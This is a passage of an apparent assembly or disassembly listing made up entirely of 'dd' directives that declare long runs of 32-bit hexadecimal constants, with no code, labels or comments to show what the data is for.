		dd 934A89AEh, 0A23D38BFh, 0B4E05142h, 2B5E0A48h, 0F7165B89h
		dd 2A82E340h, 3AB16542h, 5662C790h, 929BA5C6h, 0D434B6EEh
		dd 9E1F42AFh, 237A6C30h, 947BC802h, 8B7C12FCh, 24AED516h
		dd 1675342Dh, 0D22337ACh, 8460C0B1h, 0A97BA1A1h, 26D60C87h
		dd 9513C2DCh, 3A988C3Ah, 50878075h, 667789A3h, 3662FE6Bh
		dd 9C54B8F6h, 0C5B027F2h, 3ABAEA09h, 0C879C32Ah, 62C9CB15h
		dd 8262CAFCh, 0DFE658E6h, 390D1469h, 786D7572h,	6172B377h
		dd 8A66690Fh, 5717ADFBh, 0AF64B945h, 1289092Dh,	69085435h
		dd 136C8215h, 0D85DC3Dh, 0FD01FB03h, 26EBA732h,	751A1DE3h
		dd 0E897CCDDh, 0D4F4599Bh, 0C102DC52h, 0E38E4BC2h, 13FB8B87h
		dd 34BE512Eh, 517099E2h, 361958DAh, 4BC1B35Ch, 0BD1A0F95h
		dd 76454F2Eh, 1A26562Bh, 3EA50E46h, 0AC851F0Bh,	9E6B290h
		dd 675FA54h, 0EE17A07Bh, 0DB3A2074h, 36AD10DCh,	0E4681ED0h
		dd 0E5BF82Fh, 0C92041D9h, 9B730B42h, 0C2834A9Fh, 6CC73A3Fh
		dd 203AEC6h, 7F553CF7h,	0B8B475Bh, 0B1B16336h, 376547E1h
		dd 7A331402h, 35C63497h, 0C6DE9623h, 7CC9B9E4h,	0DF6BE4Ah
		dd 0A3C62DA6h, 96EB9B79h, 8BC5E52h, 0B0AA3499h,	856E7469h
		dd 2115BFA9h, 190ECEDDh, 3AD88EDAh, 5B722125h, 0BC26FF5h
		dd 3C49268Ah, 5C29A0C3h, 2634623Fh, 218381D0h, 3CE47CDAh
		dd 64A5522Eh, 0EA46E6A2h, 0E53925AEh, 1A915584h, 156A8A27h
		dd 9730ED89h, 7A913C8Ah, 3BE5DEDh, 46156600h, 65CCBCC7h
		dd 0D594C825h, 98320DBBh, 0A785CF7Ah, 50360788h, 0A171615Dh
		dd 1A23CDFFh, 9ED6E9ADh, 0CD82164Bh, 0CC5918A0h, 5F6B34C9h
		dd 5F59F3C7h, 4436F11Ah, 527A2088h, 79E1DBD8h, 5E8966FDh
		dd 2092C358h, 685D30F6h, 0D01281F4h, 0C492CA02h, 0E503180Dh
		dd 0F2150739h, 388C5D71h, 0CE7AEh, 0F5AF09ACh, 0AC1EED74h
		dd 0D9FBE438h, 75523992h, 7C6242C2h, 7863A368h,	1E18773Dh
		dd 40C5CF3Ch, 0D49F12DBh, 97914E0Ah, 3499C495h,	0CC3A32CAh
		dd 5B18AA79h, 24F9CE38h, 85CD5B20h, 93F02E2Ah, 107DF47h
		dd 9401F518h, 0EA372CBAh, 0EAC406FAh, 993F5E3Ah, 42BAD376h
		dd 0A32AFD59h, 7D5E4729h, 6716D10Eh, 0A1AF0E59h, 8A36F9CCh
		dd 2B421A39h, 0CD996DB8h, 669A81A5h, 0D911A63h,	0D4171234h
		dd 0ACE5034Ah, 0B1D7ABBFh, 0D104AEB5h, 2648F170h, 51D0D093h
		dd 3E215BC3h, 4EC02CD2h, 0B3379C8h, 4904F3CFh, 384BF162h
		dd 0B7741857h, 0FF6600B7h, 8EA180Ch, 0FEDD99CDh, 0BE90006Dh
		dd 1B18EF65h, 0B7480DEh, 0A19844E2h, 0E2E66EA5h, 9BC45431h
		dd 4FEE456Eh, 0CD0CF081h, 0F9A4E9A7h, 0FFD16E88h, 5C24712Bh
		dd 7942CF09h, 54B176A3h, 0CF37642Bh, 7D0E17Bh, 12C72E16h
		dd 51141298h, 86007CFEh, 3EC2393Fh, 3FC4C959h, 0F3D684C3h
		dd 1B1201FAh, 73A7F9CDh, 96D39066h, 74F5409Bh, 0D5568A4h
		dd 0A9E64B07h, 0E67F2A75h, 5DB05BABh, 83304108h, 5E6B53E1h
		dd 0F46F36A6h, 217219ECh, 0C8AE8C08h, 0AB672364h, 0CB525040h
		dd 0A736BBCCh, 9DA067D9h, 41463FCEh, 19763FD4h,	0A8C9BE84h
		dd 0C7896521h, 0F8FF4436h, 0F8260072h, 987210CEh, 3E3A9EB9h
		dd 0D1C74F79h, 337032AEh, 63FF5A7Bh, 0F74FEE43h, 3D178BCBh
		dd 7F0D269Bh, 1C3FF7D0h, 0C853E0C1h, 0A830597Fh, 0CF391D4Ch
		dd 0F9DA33F8h, 84CA3915h, 0E276456Eh, 0CE8F03B8h, 0DF6CD1F9h
		dd 43F146F6h, 45B543ADh, 74B10A0Eh, 0B3CE61DDh,	849562D5h
		dd 0BD483394h, 53FC61E5h, 0F93A4C44h, 93EF4FF6h, 0A2FA5AA1h
		dd 68F5ED62h, 6F68C179h, 7524C074h, 0E303BF9Ch,	0D777F580h
		dd 0F5FF6671h, 6B0BED53h, 46EF9484h, 4FADEC6Dh,	0C6BDC516h
		dd 0FBDE439Fh, 46453557h, 94635457h, 3A1EBD23h,	986547AEh
		dd 54F62D79h, 0EB98F7C6h, 9253C272h, 0E574CDDh,	8E520AB0h
		dd 2D3206DDh, 0C6EFAAB1h, 0FED303B9h, 0FCAEAC46h, 0C9F35D97h
		dd 0AE2D075h, 3AD1C030h, 5850D499h, 44B04197h, 3EC20077h
		dd 1CBE8AEAh, 74188F75h, 0D0E1A791h, 0DFC41424h, 2598523Bh
		dd 47659F40h, 4328883Bh, 2E50FE14h, 741B2542h, 27110485h
		dd 4CF694BFh, 9090279Bh
		dd 0A1FB505Eh, 0B892E659h, 0B0B09C81h, 6C1E1D3Dh, 3DB54F78h
		dd 44C80D62h, 6DC32401h, 0F59D3813h, 0B4010FBBh, 0E8FEBDAFh
		dd 0C1EC8229h, 0AABE9CD0h, 0FFC3AF4Ah, 456B31A8h, 5ADC2584h
		dd 55CBB515h, 0F4D47458h, 1D1E7225h, 17A7EDEDh,	9032944Ah
		dd 0E0D0852Fh, 36D44D26h, 255B0F04h, 82F826E4h,	1F420C94h
		dd 0D193DD7Eh, 7C8A93ACh, 5FD7975Ch, 58F18B6Eh,	0E2A9003Ch
		dd 3BE6A10Ch, 9204BB47h, 74AC1042h, 50A18529h, 177111DDh
		dd 4CD91758h, 0BB0F9E20h, 46C08700h, 63351EEBh,	0A1A65143h
		dd 986DD6ADh, 40013C69h, 0CB423999h, 1ED9CD89h,	0F78D1DDh
		dd 0C828D98Bh, 0D4E8DB08h, 362231ABh, 0D7DF58ABh, 0C22C06E7h
		dd 15297DBFh, 1900C77Dh, 0F71F1841h, 0F7E6BFCDh, 57AAE96Fh
		dd 97944FB3h, 0F91D936Ah, 4504F424h, 74E7E3E5h,	0AD4D3BF1h
		dd 5C324EFFh, 604C9BEDh, 0C1A83B95h, 0DADB8C4Dh, 592A609Fh
		dd 0C96A8DE3h, 0D5358281h, 0BC093C7Dh, 8CF01BDBh, 3AA16F3Dh
		dd 9229779Bh, 0C20CC2F9h, 0EE5672BDh, 0B36A8B36h, 0E27581D7h
		dd 0EEDDA1FFh, 0A88D56CFh, 0E08DEAB1h, 87862171h, 495E6F98h
		dd 3B8B5EE6h, 2C3B8924h, 0E1EC93ADh, 65799F46h,	5D5C22EEh
		dd 267E8806h, 0CA6C862Dh, 47BAE63Fh, 65804CB3h,	1301D803h
		dd 89AEC854h, 6EA5C5E4h, 0B7B10A11h, 8AD31CD6h,	6097C112h
		dd 3111E273h, 0EDC01527h, 0F9EE3F41h, 0F9DA5637h, 0CBDB36C4h
		dd 476AB614h, 252EBF58h, 96ED3881h, 4A57433h, 0C4B3B6C8h
		dd 0EDA43C4Fh, 1CAC4825h, 945522E2h, 0F31D3B0Dh, 3FDFAC9h
		dd 1938F71Dh, 0D7803085h, 0B416ED2Eh, 7C9A3D0Bh, 74224493h
		dd 0DF66AFCAh, 0CD9DC2Ch, 50F55B63h, 2BB271F2h,	0E71515AFh
		dd 42E33AC1h, 704D007Dh, 87989B66h, 8CBAAD52h, 5BBEFA66h
		dd 7DF4D4F7h, 511621EBh, 0D00B7AB7h, 0DF220D5h,	0A9F355A1h
		dd 75FC745Bh, 5946FB03h, 6F352153h, 4C145E37h, 76F65EA0h
		dd 0D5AFC4CBh, 0E8496EFDh, 0B3E26D51h, 4296F097h, 3E7D500Ch
		dd 0CDD4C8FBh, 3ED27413h, 967EF23Eh, 9BE0B218h,	6D8F0BEh
		dd 235C683Eh, 46A14EBFh, 0C16FC51Ch, 76FC0344h,	0C109F971h
		dd 57C55187h, 0CBC4A1D4h, 616C5682h, 65562A7Fh,	0C258E819h
		dd 9D26F54Eh, 365537BBh, 19E7BE1Fh, 0A566074h, 159015FFh
		dd 0D3237611h, 6500C48Fh, 8116032Bh, 4C41CE25h,	136E4DD1h
		dd 0F7F351E7h, 3CE561DAh, 2FC1D1DBh, 1B509948h,	597EDA20h
		dd 887D2179h, 0C3197DF7h, 0CE46DF85h, 64E5E13h,	0BC3D49A5h
		dd 24EDA2A8h, 313548EBh, 0CB21FFC4h, 52A09378h,	49C3CD6h
		dd 0B5A02048h, 0C12EB97Ch, 0ED6A3420h, 7043E083h, 0FC2463DFh
		dd 0E1F26BCDh, 0CD5C4034h, 0B1E7974Ch, 386F132Dh, 0D5FFD2C0h
		dd 937D51ABh, 9FE4848Fh, 5D2C91Dh, 1484AA70h, 0FB7852B1h
		dd 76C2CD30h, 7E27CE73h, 6359C870h, 31073375h, 0CA199F03h
		dd 0D93715C2h, 0AAAA9785h, 6364B00Ch, 0F1DCDBB1h, 0BAF530Ah
		dd 0B34539FCh, 86B395FCh, 7E19545Dh, 9344036Fh,	5F9FB09h
		dd 497DBEAFh, 76B597B0h, 5695C326h, 0F8D71B61h,	9876E607h
		dd 0CBD42DF1h, 93AE7CD1h, 80C2AFCAh, 220E56EBh,	1B95E774h
		dd 3CC5951Ch, 530C7FADh, 52128731h, 0F16C8F84h,	448CA4B3h
		dd 38BD009Ah, 104AE473h, 9AC90C9Ch, 70DF3B6Ch, 4B605662h
		dd 0B0A28880h, 644093A9h, 91F634Ch, 4EC54577h, 5A6F893h
		dd 9A844241h, 8E37D009h, 4C965C01h, 0DB911863h,	8331426Eh
		dd 0FC64C26Dh, 1B890BAAh, 8CB01434h, 5CE07B26h,	5597A425h
		dd 0B6243597h, 0AB1BA459h, 14C101F2h, 0F6F557DBh, 78CEBEFBh
		dd 7CCAF69h, 0B5F56B8Fh, 1D481AE8h, 80257755h, 4F6041Bh
		dd 3FCA7255h, 2F2A4F05h, 8A3D2D7Ah, 1AC56C36h, 7C2EF98h
		dd 0B8451C39h, 0EC3BC2E5h, 0E7360DF7h, 8E594C1Bh, 48E53719h
		dd 0E80564DDh, 0FF514E4Eh, 0B96C8D2Bh, 7E1E2875h, 0E5926F79h
		dd 5A35833Ch, 0D8C9F3A4h, 5DA1EA5h, 55CE8AA2h, 0F3AD9EDAh
		dd 57814B94h, 26E47852h, 4E277021h, 67F76FEBh, 25E7E521h
		dd 0F222810h, 0D2E0D1FCh, 6E84C384h, 6A41E094h,	5F9D175h
		dd 0B14D70D8h, 83F43A09h, 49F0EBDDh, 495FDA4Dh,	4AEC4177h
		dd 67BAEBBAh, 0C500EE49h, 1CFFD6D6h, 2241C817h,	2C714DAFh
		dd 0BE35A5F3h, 0ED4180ABh, 0BAA83AC1h, 0CC57406Ch, 3167D8ADh
		dd 0C23EC271h, 3FE6EE3h, 0F6EC9B17h, 0BDDB28BAh, 2D714C45h
		dd 0B6C6791Dh, 8CC8B918h, 450C91EBh, 0F966B5F1h, 0B537174Dh
		dd 0A5A655DBh, 5382D34Dh, 672D6390h, 740D9384h,	72FED6A7h
		dd 8BF27B34h, 0F4336936h, 95FA6022h, 759CAF79h,	3C89B433h
		dd 5AC3C130h, 0C6A4E070h, 5DD7414h, 0E6712D9Fh,	0FD001233h
		dd 43BB9B4Fh, 0A67AED8Eh, 56C887BCh, 0DA3001BDh, 9768BAEDh
		dd 93BC0672h, 3982CCA4h, 23AF0D53h, 8CF648BDh, 94953DE4h
		dd 0FBB5C516h, 480168C6h, 0C1B14D53h, 0F983585Ch, 0CC0908A8h
		dd 57912FE4h, 21A71785h, 0FDE5B9D2h, 0C2D4AF38h, 0C93BD01Bh
		dd 0D37EB357h, 0F001F104h, 0F65D306Ah, 927C84C1h, 64342526h
		dd 0B64B1021h, 0ADEFB08Ch, 0D7432C47h, 6581C6EFh, 0D8C55240h
		dd 86CC6075h, 0D880675Fh, 0B26D12ABh, 84776E24h, 4D78C7E7h
		dd 0CBCF574Ah, 993DE5DBh, 0FD19E6Dh, 0F222B447h, 113E959Dh
		dd 97950FFAh, 5EE35A4Bh, 703DD64Fh, 0FE9F088Bh,	53C8C4F1h
		dd 50980DBDh, 0E0A2E5E2h, 6FDDD4D8h, 9DB5B316h,	0AB8A4B73h
		dd 6B3875ABh, 0F054130Eh, 0EFE4D9BFh, 0C6C8EB4Eh, 4E4D6DEDh
		dd 0CB3610B1h, 45618F1Eh, 0FACFE28Dh, 20BF1926h, 66B5F4E3h
		dd 2E85E10Eh, 722F5D5Ch, 0E1DC01EBh, 0D021C641h, 9CAD991Ch
		dd 847BF48Ch, 6532AA8Bh, 0A3DAB99h, 0BC044CEEh,	934FBFEBh
		dd 2A974170h, 8E6A5FB0h, 88BAF17Fh, 2ADEF244h, 0FB54EE16h
		dd 11523661h, 0F7865F73h, 34154A13h, 0A77C25C5h, 9E062001h
		dd 93E299F1h, 11190C71h, 0E252B74Dh, 7020F72Eh,	9B4F4BB0h
		dd 4C372CBBh, 44D75697h, 106C9C66h, 223E1C2Fh, 8663228Dh
		dd 1668DDCCh, 58129973h, 43D99F7Ah, 7E510D22h, 0B5B47C82h
		dd 2AC0D609h, 74B6DC8Dh, 0EB296797h, 0DB39C291h, 3F6DD787h
		dd 0DB539EEDh, 6D8C772h, 563CE839h, 0C8E6F3ECh,	0FC70F156h
		dd 40DFBFFAh, 0C8DB7E1Eh, 8894583h, 0EF921EAEh,	19E50994h
		dd 6E5BC32Eh, 6D4C9B8Dh, 6A6FA42Ch, 0CB6570ABh,	4B9C8DFAh
		dd 0A4189C8Eh, 0B9FF026Ah, 82413D26h, 627BC3D6h, 79873948h
		dd 601DEA46h, 74FB0420h, 6ABEBEA1h, 0D5196221h,	7C21E0FCh
		dd 340D6241h, 0A581946Ah, 0A8BF308Dh, 3D4DC693h, 0E28645C6h
		dd 4A768BC2h, 279A2846h, 5DA6042Dh, 0B9024AC8h,	241DD84h
		dd 29110DACh, 0DBEB0DFh, 765B00EEh, 0B7EA6256h,	91C34EF2h
		dd 2D8CA27h, 3114A4B2h,	0A37FCC33h, 0A80666FFh,	0A134C568h
		dd 25BC9639h, 0F8849DCCh, 0F082101Bh, 6E4BECEAh, 8C16ED24h
		dd 0C9FA99E9h, 0F6D5684h, 8DFA53C7h, 19472941h,	0C5ECB2AFh
		dd 2AD82EEBh, 0C5975BCEh, 10BD181Fh, 0EB0D2BAAh, 0DE19DD1Ch
		dd 2BAC8DDAh, 644C8CC8h, 8DDD0E44h, 0A7A74425h,	7E3B18FEh
		dd 0DCA4F15Eh, 772F4DA7h, 0E159126Ah, 33061EBDh, 437BE3F2h
		dd 0CD8E1F92h, 0DD759372h, 0A194B5B0h, 384A7F2Eh, 5EAB5B73h
		dd 5F91517Fh, 70A7A74Fh, 53A3F251h, 0FE459403h,	0F4B1D073h
		dd 0B5EA7CBEh, 5FF103DDh, 0F37DCAE2h, 39C9DD85h, 55DDDC4Bh
		dd 193D048Ch, 27D2293Dh
		dd 7D7E1609h, 75DEA55Fh, 97CCBE85h, 0D28B95EAh,	0A1AEED8Ah
		dd 7A1D1474h, 0DAC68EF9h, 0A304DA2Fh, 10828EE3h, 838A30D2h
		dd 192EAFBBh, 9209B8EFh, 21B7EB46h, 7B42D3CAh, 1D3E5C29h
		dd 1F545976h, 74D7024Ch, 0A4E6784Eh, 8F2F8D2Dh,	0EC335296h
		dd 1F46F75Dh, 0BD977B0h, 56AA7DAFh, 0DB2F5505h,	4D749185h
		dd 59A49626h, 39CF44F3h, 125175AFh, 0E1C53AB6h,	70311CB9h
		dd 0EB5B60A2h, 3814505Ch, 0A410AF30h, 0AEAA88DFh, 0C6FDA533h
		dd 481BFFF8h, 524FA9B2h, 42BBA585h, 0F126A2A9h,	4C3E2546h
		dd 76A60B1Ch, 0F486053Eh, 0C1B44F6Dh, 0FADD759Ch, 22A3A941h
		dd 383508D4h, 0DF8F9D81h, 0AA568E85h, 5C810A37h, 0DC2791B0h
		dd 5F92F5AEh, 8DC7B373h, 0BA6E6A35h, 6EFFA2BEh,	94A6CB58h
		dd 2DA447F3h, 30CFA347h, 0B7C0DDC4h, 7EE80EBh, 0AFE10C0h
		dd 3367013Fh, 72446696h, 0B23AF723h, 0CDEF5C03h, 5109B6ADh
		dd 0F8ABD795h, 0DFFAA2B0h, 0A6B906FBh, 6F9F1799h, 6B166F53h
		dd 8089C6AEh, 0DC6C60B0h, 8321E656h, 0AA1D00F7h, 4E6580A1h
		dd 4BEA1651h, 75AD368Bh, 0E26D6306h, 0F8A40D99h, 5625EA4Dh
		dd 1D8E99E0h, 0D4FCB685h, 0CC22AF8Ah, 16A85699h, 0E26AC5D7h
		dd 1A5B2F59h, 5C2B542Eh, 0BA158F7Ch, 0B21321DFh, 0C38201A9h
		dd 0A068CE08h, 3D26B910h, 0C4337DDDh, 0D039EC01h, 98EF2D67h
		dd 0B475DFEFh, 0EDD02AB9h, 0B86115C9h, 0AF9EBCF7h, 6C9FA4A2h
		dd 0A56430A9h, 333A2A5Bh, 18FC2676h, 721B47BDh,	586D7DD9h
		dd 0B56D8C2Bh, 0F8E377B7h, 0A2864321h, 0FBE99DD1h, 85E6A57Ah
		dd 6FDDCC38h, 0F9241BCCh, 0DFAFD34h, 827B6C93h,	0E7DD57B5h
		dd 0F040B346h, 19E2DECDh, 390BC98Fh, 1DA62BBAh,	0F98B84DAh
		dd 0B6B683h, 89FBD052h,	472A0E29h, 79EA9F04h, 0EFBA6DADh
		dd 93F454F1h, 9F19CEC7h, 76C07CDEh, 46A0169Fh, 747180B0h
		dd 0C9FA7923h, 5E329AB4h, 0DA0754CEh, 0B0FD71D2h, 0C4C3201h
		dd 9BFD13CAh, 321302Dh,	2C3484BDh, 26C13356h, 80365C21h
		dd 0AA420949h, 93326EF8h, 85A6E715h, 0C0BE9D6Bh, 0A50A7450h
		dd 6F2CD459h, 0DBC7D532h, 66AE7EA8h, 98A25E25h,	732C10FEh
		dd 761ED1C3h, 1147E8E2h, 0F5D4C2DAh, 0AB9C5AE5h, 80805AFCh
		dd 0DC75979Bh, 28E7ECBDh, 81B713F3h, 0F011E61h,	69285737h
		dd 93C22F4Eh, 5CBAE8D2h, 2C4A2EDFh, 5063BEC8h, 4078C9CEh
		dd 56D43651h, 0D5D56548h, 2EF86FF2h, 9A8D8B98h,	8AB8B72h
		dd 9ECD197Ch, 0DABB19DFh, 84AC1FFDh, 60E9E227h,	0ACBA18D4h
		dd 0D351C701h, 0B521FB12h, 87D2D951h, 0B9116DC6h, 0FE72C8DDh
		dd 538E10E1h, 49ED364Ch, 5565B08Fh, 353C453Bh, 166DF8CEh
		dd 0F8F9EBDAh, 0D4E706A8h, 2366BE7Ah, 0CCF7C60Fh, 10488B55h
		dd 900628CCh, 418373F0h, 0E4A10801h, 168D1513h,	0A68A14EAh
		dd 0A8AF559Eh, 0B06AD09Dh, 30F6BE7h, 56541C3Dh,	8B57A101h
		dd 0DCB7C13Fh, 48FD2382h, 4E72C62Ah, 0F4259232h, 0D9EFE95Eh
		dd 0BB096F4Fh, 0AC547200h, 0B965C54Fh, 0B19DCDA7h, 2EA8A97Ah
		dd 0DE5D9FE0h, 0CA466E82h, 770F1394h, 0C8B66AC0h, 6FFA725Bh
		dd 0FC63586Eh, 9E6DEFh,	2DB130FBh, 6E2B1682h, 0C14509A6h
		dd 5DA32C5h, 23C7062Ah,	0A55B4DD3h, 25A9C62Ch, 0B51D104h
		dd 962AF28Ah, 0BEBA1756h, 0ABEB1B77h, 2CE30883h, 92FC3E99h
		dd 0F24B09E6h, 18A3B8FAh, 9D6AFC79h, 0E6E4CE4Bh, 0E4CB5722h
		dd 6537588Eh, 9B83FD0Eh, 0CA1B1CE6h, 7413E22Fh,	0EC115E62h
		dd 5234B2DBh, 0E9E142E0h, 2DE3D8F7h, 0D5AF3884h, 81D3928Ah
		dd 0A3EA8358h, 1B91FB69h, 149CE815h, 4DB085A0h,	0D2F59EE2h
		dd 36FA2EB7h, 0DDF913Ch, 0FE1B44A0h, 36AC99Ah, 0B4C1C9D5h
		dd 6BC06E8Eh, 7976DC55h, 74ACECAAh, 0F7F451C3h,	19182A93h
		dd 67BEC2C8h, 0F5731554h, 0B9DBC8C1h, 0C4A721B5h, 821EB240h
		dd 0E1C7E110h, 19953B85h, 32E39699h, 2F39FAE9h,	0D0D17DD6h
		dd 26AB5A62h, 90C7204h,	6A68737h, 0FA139E1Fh, 0A5154447h
		dd 2E74F90Ah, 4CEBC048h, 4DFD5C7Eh, 3A5577DBh, 0D8DD7D82h
		dd 0D5CB275Bh, 0D8FD5A0h, 618ED070h, 0B08A33C8h, 0C2550866h
		dd 0FBE6BD91h, 5F1D10B0h, 22A2967Ah, 0DB1DBBBBh, 9E7B4387h
		dd 0E80C9601h, 27DADD67h, 0C8EF1988h, 3FA9899Ch, 9E4195A2h
		dd 1F55B380h, 21518CCh,	0B4159B6Ch, 0DB1296D8h,	3EDCC5B7h
		dd 0DFA0CCB2h, 8B13D2DBh, 6AFA8A86h, 10375639h,	443D67B7h
		dd 46EE9D19h, 9E9BB007h, 7B8D4A83h, 9F7A2381h, 0BC54AB91h
		dd 0B25C8B1Dh, 0E9CD4BDBh, 0E71D96FEh, 21BFBFC1h, 10955A44h
		dd 9F61F64Eh, 2756D93Eh, 9FB701E5h, 2AA9E2C5h, 6304FDC9h
		dd 171D011Ah, 76035C0Ch, 0C380A1A0h, 40B84E22h,	1F1B1685h
		dd 33D29557h, 0CF8893A6h, 4FA2446Ah, 0BD348F7Eh, 13AC8CA0h
		dd 991FCAF3h, 97189D03h, 0F97DDE6Fh, 0E9F93561h, 0C7FFF1A2h
		dd 765F0B74h, 5BCFB7CDh, 0F1F0A6BCh, 40B9E080h,	0E1ED6E3h
		dd 0ADE08D85h, 1096C3ECh, 0D579E1F9h, 0BAB715DDh, 809457F8h
		dd 0E4EFEF54h, 7CF56DE3h, 0C64C07EBh, 58F478BDh, 736B09FCh
		dd 15CF1E00h, 79E659F5h, 6B51BC01h, 3688CA8Ch, 53C0D97Fh
		dd 23A133A5h, 609E6A53h, 7AE48119h, 3475F73Fh, 40860A2Dh
		dd 0DE7138C0h, 0C737138Fh, 2BF597Dh, 0EEB3AF94h, 53DFB5D9h
		dd 2043147Fh, 0EF407CFBh, 2EE1FF7Ch, 0BE342479h, 5D5E8BE8h
		dd 77BEE88Ah, 1F679B1Dh, 1541DE34h, 53AFA68Bh, 6507B81Fh
		dd 0F143751Ah, 926E01F7h, 349DF477h, 3937294Ch,	0E245ACE6h
		dd 0D84D20Ah, 96CD0599h, 418FE157h, 0A27A0624h,	7AB4C276h
		dd 0FC611C6Bh, 18999CA5h, 73D24C19h, 33797A9Dh,	855071FFh
		dd 0F2A66B80h, 68D3124Bh, 799AFFC6h, 5F1ED214h,	61620303h
		dd 4DF3A45Ch, 4C6E71F4h, 5B9F92F1h, 49BFCF22h, 8F0BC006h
		dd 3013CE5Ah, 91B31A0h,	7878DB74h, 0CE189265h, 0E58C9AB2h
		dd 0C29CF372h, 0EF383503h, 2CD5377Bh, 611CF364h, 6BAA72F1h
		dd 54624204h, 84425C72h, 4DF7363Dh, 1420F1FBh, 0D93C8BD3h
		dd 0F4806179h, 70D9FD1Dh, 0BFAD388Eh, 19147AFCh, 275EB68Ch
		dd 10B80AD3h, 0A4FED7CDh, 978F5F25h, 16B0683Eh,	32A7FF5Eh
		dd 0B5E1CB40h, 87237CCDh, 62C9388Bh, 203E0A53h,	7849245Ch
		dd 0BE6CBCB5h, 0A3143A4h, 1B77E13h, 505D2733h, 8F6C7FB8h
		dd 0ED583CA0h, 0A4DB0C38h, 992B6058h, 7235EC50h, 0B6C009D1h
		dd 7F4734C7h, 96C5BB7Fh, 0FC5021EFh, 114796DBh,	5A7622D9h
		dd 1D113E62h, 84B4AA86h, 608DB449h, 3DCF933Dh, 9D96BAFBh
		dd 997AC07h, 777E8198h,	6CCCBAA8h, 0B4D43EE6h, 0FA9713F8h
		dd 0F214A8F8h, 0A3C69F5Ah, 0E69371AFh, 8624F27Ah, 2BEDDBC2h
		dd 92475636h, 0E375569Eh, 0F9EA6922h, 0C431085Fh, 96CCAB19h
		dd 0A5EF7ED9h, 0ACC827C2h, 0A9493451h, 1F4FCC7Eh, 7763105Bh
		dd 0DB0AAD34h, 8F94DC2Fh, 0C6AA6666h, 83D159DDh, 2C98BE2Eh
		dd 9A67F928h, 5628E172h, 0EBCC91DAh, 0ABB90381h, 64E7C97Fh
		dd 0B6F724F3h, 1020245Bh, 1F58DEFCh, 8AA20ABAh,	0E30791FFh
		dd 0CAD4685Eh, 54DF4966h, 91F5031Dh, 0FC3FCDB1h, 0EC98908Bh
		dd 9BCDF4h, 99F07F52h, 609674C4h, 0DCBE1704h, 0E557895Eh
		dd 0DFCC26A5h, 1A33640h, 21A69967h, 0C037FE3Fh,	1F065365h
		dd 0E9E91775h, 9B16E4B4h, 0B92487DFh, 96769382h, 4913569Ch
		dd 81279EBh, 226ED93Eh,	5B172326h, 0B37B30BAh, 24CE2953h
		dd 30277ACAh, 62A4DAD7h
		dd 0F5FEDBD7h, 0F3EE4E20h, 880F8BAFh, 0F630F781h, 83069582h
		dd 0BCE9583Bh, 0FFA7930Ah, 0A35728CAh, 0EEA7DC45h, 6F698A9Ah
		dd 524E1B55h, 56AA70F3h, 78E28CF7h, 0CC1193D4h,	7415422h
		dd 392F470Fh, 6A46FD0Ch, 77F221C4h, 130E2CA1h, 0A72DE094h
		dd 0A8709607h, 7722653Dh, 70D98503h, 652125CDh,	0EDCF41F3h
		dd 1A0E5A9Fh, 9DC40D64h, 0F49ADB3Ch, 0F15E094h,	479DAAEh
		dd 0F74B777h, 71C0F3C4h, 1CE17DE0h, 0C53BB09h, 0B66D7D3Bh
		dd 0E1AB0AC4h, 0EB0179BAh, 1775735Ah, 5049B653h, 40D1E025h
		dd 0C9A4026h, 20BA4044h, 8A5181F1h, 1052134h, 31C99793h
		dd 0C1D866A8h, 0A6A02B18h, 50F69D3h, 0E5EBA6C0h, 53AF8BECh
		dd 0E8DEDACAh, 0A045F6E9h, 9BCE135Fh, 19C69DBFh, 0D9490C2Bh
		dd 2FA18E8h, 335B5859h,	0C00DEAE5h, 0D40F39F1h,	0F0E10A43h
		dd 922EDF76h, 8212446Ah, 0CE75A963h, 0F78BCB8Fh, 357963CDh
		dd 9EBCE63Ah, 432C5110h, 2062B9A5h, 2F4E2E37h, 0D6CE12DAh
		dd 0E346D044h, 69ACCF92h, 76101EF7h, 3349CA96h,	9054FD05h
		dd 0B2CB0EB5h, 0A04225D3h, 0ED07E376h, 0D12E1A0h, 43C84BECh
		dd 0F45D1FC7h, 0F79601F8h, 6B3AC0CEh, 33CB9BF4h, 0C7678C37h
		dd 0BF89D2ACh, 7763AB3Ch, 72C9FEF6h, 7866F9A8h,	869E00F0h
		dd 0BEFA4240h, 1C06575Dh, 572417FAh, 282D23B8h,	0B29E897h
		dd 0D3CD6687h, 4CE2F2C8h, 49B99105h, 5B1847F6h,	4391438Eh
		dd 89CCFE1h, 0E774A53Eh, 9C91487Eh, 1838E322h, 8CF68B34h
		dd 7001139Bh, 98896A2h,	2FC6DA6Eh, 107F5660h, 0F540C9h
		dd 0CEA57CF6h, 69EC6FD3h, 0D02DD964h, 636F5C44h, 2F3DBDF9h
		dd 260A435Dh, 0A99420DDh, 0E9FD9FC7h, 7E4B1560h, 0B80DB36h
		dd 767FDD93h, 32385FECh, 0C7D9C439h, 9128BC5Dh,	5897C20h
		dd 72D7D43Fh, 87A07A06h, 2C2D9A12h, 12069D21h, 1C1F3174h
		dd 0DADF4DE3h, 62A434B5h, 0BADA1D39h, 0CF571312h, 0D787AFA2h
		dd 5BB9EA4h, 3CB7648Ah,	74AD15ABh, 530EED86h, 0B1054C0Dh
		dd 1E748CD8h, 8D26332Dh, 544B23Ah, 0F45DD6DDh, 0D43CA7B7h
		dd 16E66F52h, 0EEA34093h, 3DF6376Fh, 0ADD25709h, 46159043h
		dd 0FBCE1C88h, 0D94C36AAh, 0D01CBE0Bh, 6E533074h, 73206503h
		dd 8E0F9D27h, 0E64CA1CFh, 1F1DDE99h, 9C2AD61Bh,	0E5C480Ah
		dd 2E669EB3h, 0E325FB7Bh, 4580A76Dh, 0CCE4EB43h, 0EE573E70h
		dd 17BD4D70h, 0F4434228h, 84F51B40h, 0CF52CB54h, 0E6BCBFCDh
		dd 0D4944CF6h, 0AD445D9h, 0D6084FB9h, 1B7A2370h, 586BDC4Dh
		dd 361D67B6h, 0E21D747Ch, 7CA6485h, 0A5B57F3h, 0DA5971CAh
		dd 1D7B8DBAh, 51E87CABh, 0EFF5CC8Bh, 990E87B0h,	0F3EA8B9h
		dd 43D43996h, 0DD00F50h, 0B3B3C589h, 81681C4Ch,	94222DEEh
		dd 0AD838153h, 0BD7DC9EFh, 6169412Fh, 25526763h, 0FCDC02B7h
		dd 0ED552FC8h, 774ECB79h, 913E5079h, 6A842792h,	170D0ECAh
		dd 0DFAEF8Fh, 6BA8E4DEh, 0C7796CD4h, 570CB528h,	4A51E86Dh
		dd 0A75D3B30h, 0F32201Dh, 0E2475DA2h, 0FC3764BAh, 0D01E96Eh
